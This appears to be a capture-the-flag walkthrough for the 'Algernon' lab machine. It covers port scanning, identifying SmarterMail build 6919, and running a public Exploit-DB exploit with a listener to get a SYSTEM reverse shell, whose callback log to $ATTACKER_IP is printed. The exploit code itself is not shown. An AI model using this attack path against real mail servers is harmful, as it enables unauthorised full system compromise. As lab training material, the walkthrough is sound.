Algernon Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 2 min read
Algernon runs SmarterMail build 6919 on a non-standard port. A public remote code execution exploit for the mail server gives a direct SYSTEM shell, with no further privilege escalation required.
Reconnaissance
Nmap
Scan all TCP ports.
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5040/tcp open unknown 9998/tcp open distinct32 17001/tcp open unknown
Explain command
| -p- | Scan all 65535 TCP ports. |
Port 9998 stands out among the usual Windows ports. Scan it aggressively.
PORT STATE SERVICE VERSION 9998/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-title: Site doesn't have a title (text/html; charset=utf-8). |_Requested resource was /interface/root
Explain command
| -A | Enable OS detection, version detection, script scanning and traceroute. |
IIS 10.0 serves the application on that port. Browse to it directly.
Fingerprinting the application
Request the root page.
<!DOCTYPE html> <snip> var cssVersion = "100.0.6919.30414.8d65fc3f1d47d00"; var stProductVersion = "100.0.6919"; var stProductBuild = "6919 (Dec 11, 2018)";
The target runs SmarterMail build 6919. Search Exploit-DB for a matching remote code execution exploit.
Exploitation
SmarterMail remote code execution
Exploit-DB has a remote code execution exploit written for an older SmarterMail build. The version differs, but it is worth attempting against this target anyway. Download the exploit, set the HOST and LHOST variables, and point LPORT at a listener.
Explain command
| -lvnp | Listen, verbose, no DNS resolution, on the given port. |
With the listener ready, run the exploit against the target.
The listener catches the callback.
listening on [any] $ATTACKER_PORT ... connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49852 whoami nt authority\system PS C:\Windows\system32>
The exploit lands directly as nt authority\system, so no further privilege escalation is needed.
Related
References
-
Remote code execution exploit for an older SmarterMail build, used here against build 6919.